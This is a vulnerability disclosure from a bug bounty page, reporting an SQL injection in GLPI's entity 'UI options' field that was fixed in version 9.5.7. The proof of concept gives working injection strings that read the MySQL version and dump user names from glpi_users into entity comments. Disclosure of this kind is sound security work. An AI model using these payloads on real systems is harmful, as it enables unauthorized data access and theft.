SQL Injection in glpi-project/glpi

Valid

Reported on

Nov 13th 2021


Description

A user with only the following rights (on a sub-entity):

  • Setup > General setup (Read + Update)
  • Administration > Entity (Read + Update) is authorized to update "UI options" field from "UI customization" tab of an entity's configuration.

This customization option is not correctly escaped, allowing to launch SQL injection.

Proof of Concept

The normal SQL update query is:

UPDATE `glpi_entities` SET `custom_css_code` = 'my custom css' WHERE `id` = '1';

If we use the following code in the "UI options" field:

', comment = (SELECT version());#

Executed query becomes:

UPDATE `glpi_entities` SET `custom_css_code` = '', comment = (SELECT version());# WHERE `id` = '1';

Then MySQL server version can be found in the "Comments" field of all entities (even those for which the user doesn't have the rights).

Obviously this is only an example, we can also use this query (or from any GLPI table):

', comment = (SELECT GROUP_CONCAT(name) from glpi_users);#

Impact

This vulnerability is capable of retrieve normally inaccessible data (GLPI data, system data, mysql data).

We are processing your report and will contact the glpi-project/glpi team within 24 hours. 2 years ago
We have contacted a member of the glpi-project/glpi team and are waiting to hear back 2 years ago
glpi-project/glpi maintainer validated this vulnerability 2 years ago
bull53y3fl1nch has been awarded the disclosure bounty
The fix bounty is now up for grabs
François Legastelois marked this as fixed in 9.5.7 with commit 5c3eee a year ago
François Legastelois has been awarded the fix bounty
This vulnerability will not receive a CVE
to join this conversation